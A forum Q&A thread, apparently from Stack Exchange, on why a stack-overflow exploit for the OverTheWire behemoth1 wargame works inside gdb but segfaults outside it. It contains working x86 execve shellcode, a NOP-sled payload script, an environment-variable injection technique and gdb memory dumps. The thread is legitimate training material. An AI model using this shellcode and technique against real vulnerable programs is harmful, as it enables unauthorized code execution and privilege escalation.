5

I already tried various solutions provided to other "exploit doesn't work outside gdb" questions (r.sh, invoke.sh, removing environment variables) and at this point I legit have no idea why the exploit does not work (behemoth1 on overthewire wargames). The vulnerability in this level is supposed to be a simple stack overflow, to redirect code execution, spawn a shell and dump the password for the next user.

Inside of GDB:

behemoth1@melinda:/tmp/halp_bh$ gdb -q -iex "set auto-load safe-path /" /behemoth/behemoth1
gdb-peda$ unset env
gdb-peda$ ! ./01.py > exploit_dump.hex
gdb-peda$ r < exploit_dump.hex
Starting program: /games/behemoth/behemoth1 < exploit_dump.hex
Password: Authentication failure.
Sorry.
process 17264 is executing new program: /bin/dash
[Inferior 1 (process 17264) exited normally]
Warning: not running or target is remote
gdb-peda$

Outside of GDB (I also made sure to use the same calling strings):

behemoth1@melinda:/tmp/halp_bh$ ./01.py | env - /behemoth/behemoth1
Password: Authentication failure.
Sorry.
Segmentation fault

The exploit code

#!/usr/bin/env python

from struct import pack

def _pack(arg):
    return pack('<I', arg)

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

payload = ''
payload += '\x90' * 28
payload += shellcode # 23
payload += '\x90' * 28
payload += _pack(0xffffde00)

print payload

EDIT 1: The stack is RWE

behemoth1@melinda:~$ readelf -l /behemoth/behemoth1

Elf file type is EXEC (Executable file)
Entry point 0x8048360
There are 8 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  .
  .
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10

EDIT 2: The exploit doesn't work even with an environment variable

behemoth1@melinda:/tmp/halp_bh$ export SC="\xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x59\xb2\x0a\xcd\x80\x31\xc0\xb0\x                                   01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x54\x72\x79\x20\x68\x61\x72\x64\x65\x72"
behemoth1@melinda:/tmp/halp_bh$ ./getenvaddr SC /behemoth/behemoth1
SC will be at 0xffffde62
behemoth1@melinda:/tmp/halp_bh$ vim 01.py
behemoth1@melinda:/tmp/halp_bh$ ./01.py > exploit_dump.txt
behemoth1@melinda:/tmp/halp_bh$ (cat exploit_dump.txt ; cat) | /behemoth/behemoth1
Password: Authentication failure.
Sorry.
whoami
Segmentation fault

New 01.py:

#!/usr/bin/env python

from struct import pack

def _pack(arg):
    return pack('<I', arg)


payload = ''
payload += '\x41' * 79
payload += _pack(0xffffde62)

print payload

EDIT 3: A 0x10000 byte nopsled still segfaults.This is getting ridiculous...

behemoth1@melinda:/tmp/halp_bh$ env | grep SC
SC=\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
LESSCLOSE=/usr/bin/lesspipe %s %s
behemoth1@melinda:/tmp/halp_bh$ export A=$(python -c "print '\x90'*0x10000")$SC
behemoth1@melinda:/tmp/halp_bh$ ./getenvaddr A /behemoth/behemoth1
A will be at 0xfffed7f6
# 0xfffed7f6 + 0x800 = 0xfffedff6
behemoth1@melinda:/tmp/halp_bh$ vim 01.py
behemoth1@melinda:/tmp/halp_bh$ ./01.py | /behemoth/behemoth1
Password: Authentication failure.
Sorry.
Segmentation fault
behemoth1@melinda:/tmp/halp_bh$
behemoth1@melinda:/tmp/halp_bh$ ./01.py > exploit_dump.txt
behemoth1@melinda:/tmp/halp_bh$ cat exploit_dump.txt  | /behemoth/behemoth1
Password: Authentication failure.
Sorry.
Segmentation fault
behemoth1@melinda:/tmp/halp_bh$

01.py

#!/usr/bin/env python

from struct import pack

def _pack(arg):
    return pack('<I', arg)

payload = ''

payload += '\x41' * 79
# payload += _pack(0xffff58cd)
# 0xfffedff6
payload += '\xf6\xdf\xfe\xff'

print payload

getenvaddr.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char *ptr;

    if(argc < 3) {
        printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
        exit(0);
    }
    ptr = getenv(argv[1]); /* get env var location */
    ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
    printf("%s will be at %p\n", argv[1], ptr);
}
3
  • gdb sets all memory pages as RW, pages that may be read only outside of gdb. This is likely to be a cause of a segfault outside of gdb while working in gdb. – MiaoHatola Mar 4 '17 at 15:50
  • you can look here for a better explanation than mine :) – MiaoHatola Mar 4 '17 at 15:57
  • The stack is indeed RWE. Plus, before asking the question I looked at various writeups, and they all simply overwrite the return address. – shxdow Mar 4 '17 at 16:06
5

My guess is that in your solution the stack is a bit misaligned outside gdb and the one you see inside gdb is a bit elsewhere. I did solve the challange and I used a simple trick to bypass this problem.

If you setup environment variables, they will be on the stack, which is RWE in this challange. So you can actually pass the shellcode and a nopsled to the binary using your env variables:

NOPS=$(python -c 'print "\x90" * 0x10000')
SC=$'...' # shellcode
env -i "A=$NOPS$SC" /behemoth/behemoth1 < yourpayload

This will help you increase the chance to set the EIP right and return inside the nopsled.

p.s.: I won't help you fix your payload though, you need to do it yourself :)

EDIT: Demonstration added that stack is elsewhere.

If you start the program with env - /behemoth/behemoth1 and attach GDB when it asks for password using gdb /behemoth/behemoth1 --pid=$(pgrep behemoth1) and then continue with a long enough payload you will someting like this:

gdb-peda$ c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0xffffffff 
EDX: 0xf7fa1870 --> 0x0 
ESI: 0xf7fa0000 --> 0x1b1db0 
EDI: 0xf7fa0000 --> 0x1b1db0 
EBP: 0x46454545 ('EEEF')
ESP: 0xffffde70 --> 0x0 
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141

You can spot the payload in this dump:

gdb-peda$ x/20x 0xffffde00
0xffffde00: 0x0804853c  0xffffdea4  0xf7fa0000  0x00004d57
0xffffde10: 0xffffffff  0x0000002f  0xf7dfadc8  0x41414158
0xffffde20: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffde30: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffde40: 0x41414141  0x41414141  0x41414141  0x41414141

However when you start it from inside GDB with the method you used, the payload will not be at the specified address:

➜  gdb -q -iex "set auto-load safe-path /" /behemoth/behemoth1
gdb-peda$ unset env
gdb-peda$ r
Starting program: /behemoth/behemoth1 
Password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFAAAA
Authentication failure.
Sorry.

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0xffffffff 
EDX: 0xf7fa1870 --> 0x0 
ESI: 0xf7fa0000 --> 0x1b1db0 
EDI: 0xf7fa0000 --> 0x1b1db0 
EBP: 0x46454545 ('EEEF')
ESP: 0xffffde00 --> 0x0 
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffde00 --> 0x0 
0004| 0xffffde04 --> 0xffffde94 --> 0xffffdf7a ("/behemoth/behemoth1")
0008| 0xffffde08 --> 0xffffde9c --> 0xffffdf8e ("HOME=/home/akg")
0012| 0xffffde0c --> 0x0 
0016| 0xffffde10 --> 0x0 
0020| 0xffffde14 --> 0x0 
0024| 0xffffde18 --> 0xf7fa0000 --> 0x1b1db0 
0028| 0xffffde1c --> 0xf7ffdc04 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
gdb-peda$ x/20x 0xffffde00
0xffffde00: 0x00000000  0xffffde94  0xffffde9c  0x00000000
0xffffde10: 0x00000000  0x00000000  0xf7fa0000  0xf7ffdc04
0xffffde20: 0xf7ffd000  0x00000000  0xf7fa0000  0xf7fa0000
0xffffde30: 0x00000000  0x04ea9018  0x3b9d7e08  0x00000000
0xffffde40: 0x00000000  0x00000000  0x00000001  0x08048360
gdb-peda$ x/20x 0xffffde00-0x40
0xffffddc0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffddd0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffdde0: 0x41414141  0x41414141  0x42414141  0x43424242
0xffffddf0: 0x44434343  0x45444444  0x46454545  0x41414141
0xffffde00: 0x00000000  0xffffde94  0xffffde9c  0x00000000
9
  • Everyone seems to use environment variables, I simply wanted to understand why my payload didn't work – shxdow Mar 4 '17 at 21:34
  • I added a brief demonstration of what the stack looks like when you start it from inside or without GDB. Hope this helps more. You can try brute-forcing the correct address (e.g. range +/- 0x100) if you really want to do it without env vars. – akg Mar 4 '17 at 22:32
  • Is that kind of stack misalignment predictable ? What does it rely upon? – shxdow Mar 4 '17 at 23:47
  • Even though you run the program in gdb the way you did, there will still be env vars while env - ... clears them. You can try it out yourself. Just write a C program which loops through envp: int main(int argc, char *argv[], char *envp[]){while(*envp){printf("%s\n", *envp++);}} . If you run this program with env - ... it will not print anything, however after GDB unset env and r it will. – akg Mar 5 '17 at 0:48
  • I've used a ./getenvaddr script to get the address and it still doesn't work (details in edit 2). What am I missing ? – shxdow Mar 5 '17 at 11:20

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.